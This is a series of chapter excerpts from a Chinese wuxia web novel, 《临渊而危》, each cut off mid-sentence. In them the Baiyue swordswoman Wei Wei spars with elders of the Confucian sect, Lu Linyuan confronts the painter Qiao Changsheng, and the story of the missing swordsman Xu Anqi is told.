陆临渊站在无悔崖边,舌根忽然泛出幻觉一般的苦味,好像长久以来被苦味浸泡的人吞咽下一口蜜糖,虽然短暂地感受到甜蜜,然而那深耕在骨髓中的苦味,像是几千根细针重新缓慢扎进来。 陆临渊沉默。目光冷清,挽剑扫出一个漂亮的剑花,君子帖在风中铮鸣。 月下舞剑,剑走轻灵,破风如断水,剑招如衣袂携风,裙屐风流,又一气呵成,流畅飘逸。 “……” 刚刚好从无悔崖上来的魏危托腮很有兴致地看了一会。 等到陆临渊一套君子剑使完,她从树上跳下来,拍了拍手。 “你竟然真的会练剑,我以为你自诩的中原第一是天上掉下来的呢?” 魏危一身利落的海清箭袖长袍,衬出修长的双腿和劲瘦的腰杆,脊背挺拔,腰悬一柄霜雪刀,说不出的潇洒恣意。 陆临渊背手收剑,眼中映出魏危那张熟悉的脸,似乎怔了一下,随后双眼弯成弯月一般的弧度:“原来你还在。” 她朝陆临渊点了点头:“刚刚回来。” 陆临渊像是陷入梦魇一般喃喃:“我以为你走了。” 魏危莫名其妙:“我们还没比试完,我要走到哪里去?” 魏危话音刚落,陆临渊自己就先笑了起来。 他手臂靠了靠额头道:“是,是我忘了。” 陆临渊收起剑,山风吹乱他额角的头发。 他轻轻道:“回去吧,晚上风凉。” 斜月已沉,崖边的桐花被夜风吹动,山中树枝哗哗作响。 陆临渊与魏危并排走回坐忘峰上的住宅,陆临渊指腹蹭了蹭君子帖,眼睛却是看向她的腰:“你的腰牌呢?” “我今天下山遇见离开乔长生,给他瞧了一瞧,拽下来了。”魏危知道儒宗的腰牌来之不易,怕从无悔崖上来弄掉了,特意放在衣服里藏着。 她从里面掏出来,给陆临渊瞧:“这不是么?” 陆临渊的注意力却不在木牌上了。 ——乔长生。 今天第二天听见这个名字,陆临渊眼中闪烁,若有所思。 他问:“你与乔长生下山去干什么?” 魏危答:“我的马和东西还在丰隆酒楼,下山去拿,乔长生正好与我顺路。” “恩?”陆临渊疑惑了一声,往魏危空荡荡的身后瞧了一眼,“你的马呢?” 魏危怀疑陆临渊是大晚上失心疯了:“我是楚霸王吗,能扛着一匹马上无悔崖?到山下时让三叠峰的仆役带到儒宗马厩去了。” “……” 陆临渊默默吃了一口凉风。 魏危觉察到一丝不对劲,问道:“你难道和乔长生有仇?” 陆临渊闻言失笑:“人家是儒宗的丹青先生,端正温和的君子,我和他会有什么仇?” 魏危唔了一声:“倒也说不准。” 陆临渊有些听不下去,停住脚步转头看她:“魏危,我在你这里到底是什么样的人啊?” 魏危:“我不知道,你明明剑术高明,却不肯和我比试,明明是儒宗的弟子,却好似一点也不喜欢这里。” “……” 有时候陆临渊觉得魏危的话和她的刀一样,生冷快硬,直来直去,于这中原很不合时宜。 但陆临渊不讨厌,只是低低笑了一声:“你说得不错。” 魏危听出了陆临渊这短短一句话中的暗流涌动,不由顿住脚步蹙眉道:“陆临渊,你今天不对劲。” 陆临渊墨色眼眸映着落花,只是轻笑:“哪里不对劲?” 魏危没有什么男女之防的概念,她忽然往前倾了一步,靠近陆临渊,近得听见他倏而沉重的呼吸声。 手腕一沉,似被什么东西捏住,陆临渊想低下头看,然而魏危凑地这么近,一低眼就能看见她脖颈往下精致的曲线,让陆临渊生生遏住了视线。 陆临渊眼睫一颤。 他被人捏住了命门。 凡是武学高手,都绝不会让旁人碰到自己的命门。然而陆临渊只是在魏危捏住手腕时轻轻一颤,好像所有的挣扎都到此为止了,就连魏危也有些诧异。 魏危道:“我是百越巫祝,你骗不了我。” “你和那天晚上一样,你的眼睛告诉我你不想活。” “疼啊,魏危。”陆临渊另一只手摸了摸脖颈,笑着回答她的话,“死是很疼的。” 他抬起那只被捏住命门的手,挑眉又问:“你感觉出什么了吗?” 被三指捏住的脉搏强健有力,心跳在魏危温热的指腹下起伏。 心跳不会骗人。 陆临渊似乎对心脉命门被魏危捏着这件事没有丝毫恐惧,相反,他的心跳加速,血管里流淌的血液迸涌而出,慑得心悸,好像为自己身家性命在魏危手下一指之间而感到一种通彻的畅快。 魏危越感受越皱眉。 ……怎么回事,陆临渊好像爽到了? 第一眼见到陆临渊的时候,魏危就觉得这人似乎不太正常,他的眼睛说不想活,但在她想送他一程时候,又确确实实在挣扎。 魏危想着,陆临渊这样不愿用全力与自己比试,大约是心病。如果能解开,她也能尽快达成走向天下第一的夙愿。 不过看样子,陆临渊这心病比她想象的还要复杂一些。 魏危在百越听说过一些失心疯的人,中原的典籍上也说什么“哀莫大于心死”? 魏危啧了一声,想着这心病有些麻烦。 治不了,等死 12. 桃花图 《临渊而危》全本免费阅读 持春峰峰主名为梁祈春,如今四十多岁,是掌门徐潜山的师弟。 当年靺鞨与青城那场大战,他身先士卒,率儒宗弟子拒守城门,肩膀中三箭仍负伤作战,无愧儒宗忠勇的名号。 孔圣昔年有三十二弟子,其中有一位尤其孔武有力的弟子名为季路,性格爽直,与梁祈春相似,当年就有不少人调侃梁祈春是季路第二。 只不过这些年青城太平,徐潜山成为儒宗掌门之后,梁祈春成了持春峰峰主,只带着儒宗弟子修行,渐渐已有人淡忘了当年他也是从血里火里厮杀出来的。 陆临渊带着魏危来到持春峰时,梁祈春正指导一班弟子立梅花桩。 兵器是手足之延伸,先练拳脚方进兵器,只有基础练好了,才能谈什么刀枪剑戟的。 梁祈春负手走在梅花桩中间。 后头的弟子基础很不错,在桩子上金鸡独立,脚下功夫稳当,但前面的几行就明显摇摇晃晃,一阵风吹过来,像是残枝上挂着的败叶。 梅花桩前头点着香,已快烧到尽头,梁祈春看了一眼,沉声道:“就要结束了。 弟子中间不免传来窸窸窣窣的声音,有几个本就晃晃荡荡的人,闻言激动了一下,晃地更厉害了。 梁祈春提高音量:“稳住下盘!” 有几个弟子被这声音震住了,逐渐站稳,最前头那一个却苦不堪言,身体不受控制似地斜七歪八,眼瞧着坚持不住了,只好在掉下去的最后关头闭上眼睛。 梅花桩不高,跌下去死不成,可是梁先生的一顿加练是逃不掉了! 正这么絮絮叨叨想着,忽然耳边传来破风声响,那弟子还没反应过来,腰上软肉就被什么重重击中,力道不轻,就那么一下,疼得三魂七魄都要飞出来了。 弟子眼泪瞬间飙出来,还没反应过来,大腿和胳膊上又是两击,太疼了,一时间魂飞出来,居然咬着牙没叫出声。 什么活阎王! 然而借这一左一右的力道,他居然无知无觉地稳住了。 魏危转着手上几块飞蝗石,眼中淡淡。 最后一点香灰落下来,梁祈春抬起手拍了拍:“行了,今日到此为止。” 不加训的梁祈春显得很是和蔼:“晚上回去好好休息,记得拿热水泡泡脚,捏一捏腿肚。” 弟子登时唉声叹气,一个一个从桩子上跳下来,一颠一颠的,像瘸脚的鸭子。 那原本已经想着怎么和梁先生说情的弟子还懵在原地,揉着自己的腰,四处望着周围,想着活见鬼了。 梁祈春上前,正好瞧见他一副震惊到能活吞鸡蛋的样子,原本严肃的表情忍不住转笑道:“愣着干什么,有贵人相助,这次就饶了你。” “啊……啊!”那弟子吸一口气,这才反应过来,连忙朝梁祈春道谢,一瘸一拐地蹦跶着走了。 学子已下堂,陆临渊这才笑着迎上前道:“师叔。” 后头的学生还有没走出去的,一眼就看到陆临渊,又是好奇又是兴奋,有几个胆大地喊了一声师兄,陆临渊也含笑点头。 弟子中传来窃窃私语。 “这就是陆师兄啊,我都没见过他。” “人家是掌门弟子,哪里跟着我们一块来无类峰上学,我都没见过几次呢!” “听说陆师兄曾经灭心灯十七盏,连梁先生也夸赞过!” “也不是很厉害嘛,今年我要是上求己崖,也能灭十多盏。” “陆师兄十三岁就灭了十七盏,你现在几岁了,现读的什么书,吃的什么药?” “……” 等闹哄哄的学子们走了,持春峰才一时安静下来。 梁祈春瞧见陆临渊,爽朗地笑了:“什么时候来的?如果不是那几枚飞蝗石,我竟然一点感觉都没有,你的武艺又精进了。” 陆临渊唇角含笑:“师叔这回看走眼了。” 梁祈春正疑惑,却见一个女子从陆临渊身后走出。 少年身姿飒爽,腰窄而有力,手上搭着腰上的佩刀上,脚步静而无声,一看就是练家子。 魏危与梁祈春互相点头见过。 梁祈春看见魏危身上悬着义牌,一时摸不清她是哪位峰主的徒弟或是朋友,不过她和陆临渊走得这么近…… 梁祈春惊奇:“你师父收新徒弟了?” 陆临渊闻言展唇,眼中含着笑意:“师父年纪大了,别折腾他了。” 陆临渊介绍:“这位是孔先生的朋友——魏危,听闻梁先生风采,想请教一二。” 梁祈春不是没见过醉心习武的女子,就连当年与靺鞨的大战中,也有不少女中豪杰。 就算在儒宗持春峰,切磋也属平常事。 梁祈春是个爽快人,闻言点了点头,也不细问详情,只笑道:“我这把骨头下了战场还能活动已属不易了,现在还能与你们年轻一辈打上一场,好生痛快。” 后面的刀剑架上摆着各式刀剑,梁祈春手伸向一把长剑,却听见陆临渊似笑非笑:“师叔可不要小瞧了她。” “……” 魏危正好拔刀而出,五尺刀长如一线雪白寒光,如冬日霜雪。 梁祈春夸赞脱口而出:“好刀!” 好刀配侠客,梁祈春对魏危实力有了计较,停顿了一下,转而拿起一把长刀。 梁祈春虽是儒宗出身,但有许多行伍之人才有的的习惯,比如喜使刀多过使剑,刀把上配环。 两人走到台上,魏危横掖起势:“刀名霜雪,请指教。” 梁祈春也肃色:“刀枪无眼,姑娘小心了。” 晨起的太阳斜照入密林,风还凉凉的,吹得衣袍贴在人身上。 有一个圆脸弟子过来,朝陆临渊拜道:“陆师兄,乔先生请您去明鬼峰一趟。” 陆临渊挑了挑眉。 儒宗上下只有一位姓乔的先生,他与乔长生素无交集,不知他今日找他干什么。 陆临渊眼中似含着早起山岚雾气:“乔先生说了是什么事情么?” 弟子只是摇头。 陆临渊不可察地蹙了蹙眉头,朝那弟子笑了笑:“这就来。” 离开时他回头,一双眼睛看着下头的魏危,长睫微颤。 ** 梁祈春活了四十多年,经历过不少大事,也见过不少天才。 年代远一些的,有如今儒宗掌门徐潜山的师弟徐安期,二十一岁时一柄太玄剑灭心灯三十一盏。 儒宗虽不入江湖排名,但徐安期却在当时隐隐有了江湖第一的势头。 年代近一些的,有年纪轻轻已成了画中国手却弃开阳画院首席之位,从扬州一路到儒宗,甘愿做儒宗丹青先生的的乔长生。 …… 最近一位,就是眼前的魏危。 “……” 儒宗早晨的温度不算太高,梁祈春背后却已渗出了细细密密的汗。 他与魏危已过了二十招,魏危刀法变招之快,简直像是从小依刀而生,长成了手足血肉,如臂使指。 纵然梁祈春刀法老练,也不过勉强打了一个平手。 然而更让他感到诧异的是,他能感觉到魏危至今还未使出全力。 除了陆临渊,他从未在第二个人身上体会到这样的压迫感。 魏危也感到了久违的畅快感。 梁祈春的刀法很正,一看就知道出自名门正派,和百越那群老怪物相比就像是两个路子。 ——规矩,端庄,宝相庄严。 三十招后,魏危虽表情无甚变化,气势却徒然拔高一截,一个跃身白云盖顶,梁祈春正身截刀,霜雪刀与他的刀刃相撞的一瞬间,令人战栗的内劲从接触的那点蔓延而来,梁祈春的刀被带着开始颤抖。 魏危面无表情,霜雪刀顺势狠狠一刮,双刀之间顿时燃起火花,梁祈春的刀已不堪重负发出悲鸣。 下一瞬,魏危高抬脚,几乎要踢到梁祈春的眼睛,梁祈春急速仰头躲过,然而下一瞬就知道这不过是魏危的假动作。 魏危收腿旋身,衣诀翻飞,霜雪刀快得像是一道闪电,只见她双手握刀高高举起,正手落下,双刀再次相接的一瞬,梁祈春的刀刃被劈裂,碎成五片,齐齐崩飞! 梁祈春猝不及防,只觉得虎口一阵发麻,就连握稳刀刃也没有做到,踉跄后退。 力 13. 拥楫歌 《临渊而危》全本免费阅读 受了刺激,乔长生觉得胃里有些难受,咳嗽得更厉害了。 他仰起头往墙壁上靠了靠,深吸一口气,才勉励开口。 “……陆公子误会了,我对魏姑娘并无恶意。” 陆临渊挑眉,语气温和:“哦,那乔公子想做什么?” “……” 如果不是君子帖还横在自己的脖颈前,乔长生会觉得这人当真霁月光风,是个知礼的君子。 “魏姑娘与我相处,虽然没有直接告知我她是百越人,但也没有刻意隐瞒过。” 乔长生缓缓道:“《海内十洲记》里说,百越女子喜好穿戴珰珥,魏姑娘耳垂有穿洞的痕迹。她喜食辛辣与香甜的东西,百越人口味也如此——” 陆临渊嗤了一声,声音依旧平淡:“就因为这些?” 乔长生顿了顿,才开口道:“昨日我与魏姑娘在丰隆酒楼吃饭,酒楼里请了一位说书人,他讲了一个百越女子喜欢中原男子,与他乘舟船上,唱了一首越人拥楫歌求爱的故事。” “……”陆临渊很轻地笑了笑,“乔公子当真好兴致。” 乔长生虽然特意没有指名道姓,但这故事青城许多人都听过。 时间倒推几十年,百越与中原的的关系其实并不如现在这般紧张,边境一直有人来往交易,还有不少胆子大的人,会越过边界到对方地界去。 只要不是太过嚣张,双方大多当做看不见。 中原与百越的边界名为兖州,比起国都开阳与繁华的青城来别有一番风情。 二十多年前,清湘客鹿山涯与友人游历江湖,来到此处。 群峰倒影山浮水,绿水无弦万古琴。据说一位百越女子鹿山涯一见倾心,与他泛舟湖上,唱了一首越人拥楫歌表达爱意。 纵然清湘客走南闯北,也是头一回遇见这么潇洒恣意的女子。不顾世俗如何看待,鹿山涯接受了这位百越女子的爱慕之意。 一直到如意三年,靺鞨突袭,举国震惊。青城一战守赢后,朝中言论甚嚣,国都开阳不少人鼓动唇舌,道是非我族类其心必异——靺鞨如此,百越必定也包藏祸心,居心叵测。 百越虽深居简出,但百越几大部落也不是任人欺负的包子,冷笑回应,若是百越真有此心,早就在靺鞨南下屠城时浑水摸鱼,一举把边界兖州拿下,让中原知道什么叫火烧屁股。 双方互呛一阵,谁也不服谁,兖州地界也因此发生了几次小规模冲突,来往的人少了很多。 一年后,边境突发瘟疫,百越与中原爆发混战。 受靺鞨那场突袭屠城的刺激,各州反应速度,各地侠义之士也前往相助,短短一个月就彻底平息了战乱。 只是这事之后,百越与中原也彻底绝了互通之路。 鹿山涯心怀家国大义,虽然知晓百越女子无辜,但毕竟百越与中原如今水火不容,强留百越女子在中原也不是好事,不顾爱人苦苦哀求,与她割袍断情。 那百越女子心灰意冷,终是回了百越深林之中,再没有回音。 鹿山涯自知有愧,从此定居兖州,终身不娶,传为一段美谈。 …… 因这一段曲折动人的故事,经口口相传,又有说书人改编唱述,管这其中到底几分真几分假,江湖中已是人尽皆知。 乔长生与魏危在丰隆酒楼的三楼包厢吃饭,下头大堂的说书人讲到“百越”两个字,顿时吸引了魏危的注意力。 她上半身倾斜到包厢的窗边,一边盯着底下大理石台上的说书人,一边一口一口吃着蜜豆花糕。 乔长生自己吃得不多,就挽过一只袖子给魏危倒玫瑰花茶。 说书人说了一阵怨别离爱憎会,抬起扇子,仿着女子羞怯的情状,唱了一段越人拥楫歌。 “今兮丙戌,今与同游。子与同舟,舟徜舟徉。” 魏危闻声好似没了兴致,转过身来,舌尖卷走唇上的碎屑,将最后一点蜜豆花糕吞了,喝了一口花茶。 下面一阵叫好声,正是精彩处。 乔长生好奇问:“姑娘怎么不听了?” 魏危长睫忽然颤,像一只山野间被惊动的蝴蝶:“这个人根本没有听过拥楫歌。” 乔长生给魏危添茶,解释道:“说书先生不会讲百越话,这段大约是仿着中原的诗经来唱的。” “难怪一点也不像。”魏危眼睛纯湛,了然似地“唔”了一声,随手拿起筷子敲着杯沿,杯中花茶颜色浓郁,花瓣在其中一颤一颤。 魏危一时兴起,问道:“你想不想听真正的拥楫歌?” 乔长生眨了眨眼睛:“却之不恭。” 魏危用筷子打起拍子,启唇清唱。 “滥兮抃草滥,予昌枑泽予昌州,州囗饣州焉乎秦胥胥,缦予乎昭澶秦逾,渗惿随河湖。” 百越言与中原话其实同出一源,只是百越言还保留着上古丰富的语调,魏危声音清冽,这首拥楫歌被她唱起来,少了几分说书人唱得脂粉气,一字三转,如山歌烂漫。 只有百越巍巍的山峦,宽阔的河道才能孕育出这样的歌。 两侧是蒙着白纱的群山,河道是群山捧出的翡翠,山黑水绿,一叶扁舟下是浓到化不开的盈盈湖水,晨起的白雾徘徊在水面上,化作细细的眼泪落在人身上。 百越女子将这歌唱给情人听。 “……” 乔长生一时听痴了,眼中恍然,好半天没说话。 魏危唱完和没事人一样继续吃饭,忽然想起什么,从手上拨下一枚银质戒指,上面镶嵌着一块温润金色的蜜蜡。 她理所当然:“你请我吃饭,这是回礼。” 戒指还带着魏危指尖的温热,因桌子有些许不平,没有放稳,戒指滴溜溜地滚到乔长生面前。 等晚上回去,乔长生沉思片刻,对着烛火仔细打量这枚戒指,发现蜜蜡的镶嵌不是中原常见的工艺。 如此种种,乔长生这才基本确定魏危是百越人。 ** 陆临渊闻言眼中软化了些许。 乔长生说得这些确实是魏危会干出来的事情。 “我不是想揭发她。我特意约在明鬼峰,就是因为这里来往的人少。” 乔长生对百越人没什么偏见,二十年前兖州边境那场混战,在他看来并非是百越的罪过。 一下说了太多的话,乔长生刚刚被撞到的后脑勺又开始隐隐作痛,他撑着一口气,抬眼直视陆临渊的眼睛:“……我听三叠峰的石流玉说魏姑娘与你很亲近。” 乔长生约陆临渊过来其实还有一层原因。 魏危心思纯澈,虽来中原不久,言语之中却似乎对陆临渊颇为信任,他想知道陆临渊是否可信。 乔长生思考一晚上,他虽身体孱弱,但好歹自己和日月山庄在江湖上有些名声。若是陆临渊起了利用魏危的心思,他也能以此震慑一二。 先是以怀疑的心思揣测人,又暗暗打算以家中势力胁迫他人,乔长生原本还有些羞愧,没想到原先想好的言辞一句话没用上,差点叫陆临渊一剑砍了。 他道德底线还是太高了。 陆临渊往后退了一小步,收剑入鞘,露出一个温文尔雅的笑容。 “乔公子有心,是我得罪了。” 陆临渊回到座位前甚至还相当贴心地拍了拍一下乔长生褶皱的肩头,看起来似乎很从容,好像为了赔罪,愿意为乔长生做任何事情。 乔长生头皮发麻,隔着桌子都能感觉到陆临渊此人身上不可捉摸的气息,仿佛君子帖的寒气还近在咫尺。 他吸了一口气,问道:“所以魏姑娘来儒宗是做什么的?” 在乔长生面前已经露出了自己另一面,此刻陆临渊也懒得装相,掀起眼皮懒懒看了乔长生一眼:“她是来找我的。” 乔长生份外疑惑:“来找你做什么?” 陆临渊:“两年前我去过一趟百 14. 少年子弟 《临渊而危》全本免费阅读 持春峰上。 烟霞欲栖,树木交映。 魏危一刀断刃,梁祈春眼中惊叹,好半天才回过神。 梁祈春喟叹:“果然江山代有才人出,姑娘胜得漂亮,我自愧弗如。” 魏危撩刀入鞘,顿了顿道:“是你的刀不如我。” 梁祈春却摇头:“兵器只能弥补一时之长短,姑娘武学远在我之上。” 被年纪远不如自己的年轻一辈打败,不说十分屈辱,总归不是光彩的事情。但梁祈春面上却只有感慨惊叹之色,一派坦诚。 梁祈春沉吟片刻:“魏姑娘功夫上乘,我就算厚颜,也没什么好指点的。只是忽然想起当年靺鞨擅长使用马上弯刀,因为刀身过长,喜好在刀柄圆环处系上细铁链,马上作战时,铁链另一头缠在手心处,能快速出刀,也不易掉落。姑娘这刀漂亮纤长,但一时抽刀差了半招,容易被人突袭。” “不过以魏姑娘的身手……能在这半招之内争得先机的,怕也世所罕见。” 魏危听梁祈春这么讲,眼神炯炯,点头道:“霜雪刀比起一般刀刃确实长,我也想过背负是不是好些,但是总是不顺手。” 梁祈春与魏危就这么你一言我一句的聊开了。 两人都是当世高手,梁祈春那被儒宗持春峰弟子磋磨得内敛的心性重新被魏危这样的绝顶刀客勾起从前快意魂,越聊越眼热心热,大呼恨不得重回少年时,让自己巅峰时期与魏危打上一场才痛快。 虽然看样子哪怕是年轻时候,自己也不过是魏危脚下石。 听说魏危想打遍天下,儒宗打完了就要去打江湖前十,梁祈春也不曾有一丝恃长讽幼之意,反而一拍大腿,说自己但凡年轻个二十岁,就跟着魏危一起走了。 魏危:这倒是没必要。 梁祈春问:“说起来,我看姑娘与陆临渊关系不错,不知你们有没有切磋过?” 魏危点头:“打过的。” 梁祈春眼睛一亮:“怎么样?不是我吹,陆临渊这小子虽然有时有些傲气,但论武艺,儒宗年轻一辈中也没有人比他更厉害了。” 这话头,好像陆临渊是自己的弟子一样。 魏危提起这件事就兴致缺缺。 她也知道陆临渊厉害,可陆临渊不和自己认真打啊! 她便含含糊糊道:“是平手。” 梁祈春心思浅,没看出什么,又是一阵赞叹。 魏危问:“除了儒宗,青城还有什么其他高手吗?” 梁祈春思索了一会:“山下东风馆薛先生的峨眉刺使得不错,可惜力量不足;还有郊外一位李姓师父,善用铜鞭,使起来孔武有力,颇有些乱披风刀法的意味……” 梁祈春就这么说了几个名字,只是他自己刚刚说出来,又摇头自行否决了,说是和魏危的功夫比起来,就如同萤火之辉对上皓月之光,不值一提。 梁祈春:“若说武学风尚,无地能与扬州相比了,不仅有日月山庄这等翘楚,每五年一次的演武大会也在那里举办,青城虽有诗书之才,却远不如扬州武德充沛。” 魏危想着,要不是陆临渊,这会她大约都能到扬州打三个来回了。 梁祈春说到这,忽而叹了一口气:“说起来,儒宗曾经倒是有一位中原第一。” 魏危听了半天的“不及”“尚可”,一颗心都要沉到底下,总算听到了一条令她高兴的消息。 她眼睛募得一圆,食指指尖点了点霜雪刀柄。 中原第一呀。 梁祈春唏嘘:“可惜姑娘晚生了二十多年。” 魏危:“这人已经老了?” 梁祈春还是叹气:“若只是老了就好了。” 梁祈春说:“他叫徐安期,是如今儒宗掌门的师弟,已经失踪了二十年了。” 魏危的指尖一顿。 失踪? 梁祈春想起故人,一时也心驰神往:“姑娘若是早生个二十多年,就能与他切磋一番。” “徐安期二十一岁时灭心灯三十一盏,儒宗虽不入江湖排名,他却是当时公认的江湖第一。” 前朝董国相封儒宗孔圣为“素王”,意为有帝王之德而无帝王之位的人。 那段时间,江湖间也开玩笑给徐安期封了一个“素冠”,指的就是他虽不参加江湖排名,却从无败绩的成绩。 魏危细问这人怎么失踪的,但梁祈春只是叹息,说是一件伤心事,又和魏危说不要在掌门徐潜山面前提起这件事:“我师兄虽然表面上看着冷静,实际上徐师弟失踪这件事在他心里一直是根刺,只要提起他,他面上都会有几分触动。” 魏危压根没见过徐潜山,这位儒宗的掌门神秘的像是云中的神仙,比百越十二尸祝还难见。 魏危想了想,摸了摸腰上的刀:“陆临渊师父的功夫怎么样?” 梁祈春一眼就瞧出魏危眼中精光,不由讪讪:“……魏姑娘可别想着和他打。” 魏危好奇:“怎么?” 梁祈春目视远方,似乎在回忆:“师兄——师兄身为儒宗掌门,年纪比我还年长一些,当年他少年时,其实也是轻狂的性子,他当年与友人一起游历江湖,到头来只回来了他一个,因此性子疏落许多。后来继承了掌门之位,久不出门,刀剑也许久没有动过。” 梁祈春挠了挠头,怕自己说得过于隐晦,就举了个例子:“就比如百越巫祝,也不会亲自出来和人打架切磋吧!哈哈!” “……” 百越巫祝本人看了憨憨的梁祈春一眼,不是很想说话。 梁祈春:“好在陆临渊是个好苗子,青出于蓝而胜于蓝,天赋远在我之上,就算是我如他一般刻苦,也成不了他这样的功夫。” 魏危感觉有些莫名,陆临渊一天到晚不知道在干什么,哪里是刻苦修行的样子。 不过每天起得倒是很早。 梁祈春见魏危面露疑惑,不由问道:“姑娘不知道?” 魏危问:“知道什么?” 梁祈春:“自然是陆临渊如此厉害的秘籍了。” 魏危颇有兴致地哦了一声。 梁祈春板着脸,见四下无人,才一掌抵唇,凑近了一些:“虽然不曾见过,但是江湖上有传言说,儒宗有一块试剑石。” 魏危挑眉。 梁祈春:“据说这试剑石上有无数道剑意,是几年前掌门无意间得到的,若能参悟一二,心境便能提升。” 魏危奇了:“我从未听说过参悟一块石头就能提升武艺的。” 梁祈春看起来也不大信:“不过这些年确实有些门派的人上山来,虽然个个绝口不提,但下山时功夫好似都精益了一些。” 说话间,持春峰上的弟子小跑过来,提醒梁祈春下一波练武的弟子就要来了。 梁祈春刚刚才痛快地和魏危打了一架,想起就要面对一堆站梅花桩都站不稳的小崽子就愁得脑仁疼。 梁祈春试图拉着魏危留下来,被魏危一个柳叶穿林的身法躲了。 魏危认真道:“你是儒宗先生,我不是。” 梁祈春:“……” 他开始自我怀疑二十年前为什么要兴高采烈地当这个儒宗先生了。 “魏危。” 不知什么时候回来的陆临渊抬起手,食指轻轻移开一丛花木,似乎是想看得更清楚一些。 他立在树影里,査霭流玉,肃肃如松下风,轩轩似朝霞举。 < 15. 昨夜海棠 《临渊而危》全本免费阅读 徐潜山不止一次向陆临渊回忆起他的师弟。 当年的徐潜山与徐安期住在无为峰一间院子,如今徐潜山已是儒宗掌门,也还住在那间屋子,内室陈设几乎没有变过,用着旧物。往风雅了说是素净长情,往朴实了说就是老旧冷清。 院子中央种着一棵西府海棠,是徐安期当年种下的。 徐潜山常常坐在树下石凳上,石桌上摆着一壶冷茶。 一人一树,他就这么坐着,静静地抬手倒茶,望着小院的尽头,微冷的风拂过他霜白的鬓角。 傍晚夜色浸润,儒宗三十二峰的边界仿佛都变得模糊,像是沉在濛濛烟雨中,锡金一般的海棠花零落成泥碾作尘。 它曾经被人细心打理,浇水除草,花开似锦,后来院中主人出门游历两年,三叠峰的仆役前来打扫时不大尽心,这株西府海棠几近枯死。 直到徐潜山继承了掌门之位,重新回到这个小院。 海棠花几经夜雨香犹在,抽出新的枝条,到如今枝繁叶茂,仿佛这些年什么都不曾变过。 徐潜山坐在那里,离着这株海棠树最近的那间屋子房门从不落锁,像是等着它的主人归家。 他与陆临渊说这间屋子的原主人徐安期,说他二十一岁时灭心灯三十一盏,说他与自己打马过千里草原,说他用的太玄剑剑柄挂着一枚青色玉坠…… 徐潜山做了掌门很久,从陆临渊的孩提时期起,他的师父总是垂着眼睛看他,眼中淡漠冷寂。 陆临渊曾经在这样的眼神中吃过许多苦,无论他做到什么地步,他的师父似乎都不会多看他一眼。 后来陆临渊在无悔崖边静坐时,时常会想,这么一个心似铁的人,除了儒宗,这世上是不是真的没有在意的东西。 直到徐潜山静静坐在那里,平静地讲起他生死不明的师弟。 寒冷冰凉的院中,儒宗的掌门坐在海棠树下,眼中似有茫然和疲惫。 他的眼睛看向另一边,好像石桌的另一边坐着一个少年人,腰上一把坠着青玉吊坠的长剑,无声凝视着他。 然而陆临渊顺着徐潜山的眼神看去,只有寂静的风卷起一瓣海棠落花。 昨夜海棠初着雨,别我不知何处去。 “……” 那个时候,陆临渊居然觉得徐潜山很可怜。 坐忘峰上很安静,只听见陆临渊一声听不出情绪的短促笑声,像是一根被骤然拨响的琴弦。 他一个因此深受其害的人,居然会觉得徐潜山很可怜。 ** 三叠峰送了一碗新鲜的沾着露水的枇杷,陆临渊顺手拿起果子,耐心撕皮。 他淡淡开口:“你应当知道,儒宗的人从来不入江湖排名。” 不一会,鲜黄多汁的果子落在盘子里,汁水溅起,被早就盯着的魏危拿起一口吞了。 “我知道,来之前我就打听过。”魏危道。 “有人说你们清高出世,不愿意搅入红尘俗世,有人说你们儒宗不屑江湖的名声,不过你们中原的弯弯道道很多,我听过,没有当回事。” 魏危不知道陆临渊为什么忽然提起这个,不由挑眉:“这就是你觉得你自己是中原第一的原因?可徐安期好歹在外游历了两年江湖,你只去过一趟百越,难不成你觉得胜过我们百越,就是中原第一了?” “我不至于这般自大。”陆临渊漫不经心地剥枇杷。 他的果子也剥得极其漂亮,鲜亮的果肉一点破损也没有。 他道:“我是想说,徐安期在江湖上从无败绩,如果不是儒宗不入江湖排名,他就是当之无愧的中原第一。” 魏危拨了拨盘中水淋淋的果子,又拿起一颗,自信开口。 “就算是这样的人,遇上我也必然会败。” 魏危咬下果肉,吐掉核,又问:“这人怎么失踪的?” 陆临渊:“我师父没有和我说过,不过江湖传闻是他抛下了一切,为了一个女子去了百越。” “上一次有人见到他,还是二十年的事情了。” 清湘客鹿山涯说到底不过是一介江湖侠客,就算与百越女子有一段情,也不过被人感慨一句少年多情,但徐安期是儒宗的门面,是被当年孔氏刻意打压,依旧灼灼耀眼的天之骄子。 如果不是他失踪,孔氏让贤时,他几乎就是板上钉钉的儒宗掌门。 “不可能。”魏危却说,“我在百越从未听说过这个人。” 陆临渊想说什么,只是指尖碰了碰盛着枇杷的碗,发现里面一颗也没有了。 再低头一看盛着剥好果子的盘,也是干干净净,只有几圈黄色的汁水。 “……”陆临渊指尖顿了顿。 “我刚刚剥枇杷了吗?” 魏危试图把地上的核踩扁,面上露出遗憾之色,转移话题道:“可惜,徐安期这样的人物怎么就死了。” 陆临渊:“传言都说他在百越。” 魏危重复:“我也说了,百越没这么一个人,这人一定是死了。” 魏危来中原之前,把百越上上下下打了个遍,至少在她在位的这几年从未听说过有这样一位武艺高强的中原男子。 否则就算这个人已经死了,魏危也一定会到他坟前恨铁不成钢地扫个墓。 四十多岁,正是不惑的年纪,怎么就能死了呢? 魏危道:“百越不是中原,你们中原人不高兴服侍皇帝,还能撂担子隐居。但百越的深山老林全是瘴气,你说的这个徐安期如果真的来了百越,那我一定会知道。如果我不知道,要么就是他刚刚进百越那会就死了,要么就是他根本没有来过。” 陆临渊轻轻嗯了一声,听不出是赞同还是反对。 他只说:“徐潜山一直觉得他没有死。” 一个失踪二十多年的人,江湖上早就认定这人已经去世。 否则又有什么样的为难之处,什么样刻骨铭心的爱恨情仇,能与少年时期一同游历江湖的同门师兄弟分别,这么多年都没有回过儒宗呢? 魏危皱了皱眉,似乎很难理解:“如果你师父真的觉得徐安期没有死,为什么不去百越找他?” 徐潜山若是有心,纵然身为儒宗掌门,但去一趟兖州,悄悄潜入百越见一面故人,也不是不可能的事情。 陆临渊丢开枇杷皮,擦了擦手,淡淡开口:“大约是他不敢吧。” 徐潜山似乎被徐安期抛弃儒宗一走了之的行为伤透了心,纵然这么多年始终挂怀, 16. 云窑之子 《临渊而危》全本免费阅读 陆临渊这几天很忙,但魏危不知道他在忙什么。 陆临渊早晨起得比鸡早,晚上睡得比鸱鸮晚。 魏危睁眼醒来看到的是放在院中石桌上温热的粥菜,闭眼入眠听到的是陆临渊半夜回来的窸窸窣窣、如同游魂一般轻微的动静。 魏危问:“你是不是不需要睡觉,不需要吃饭的?” 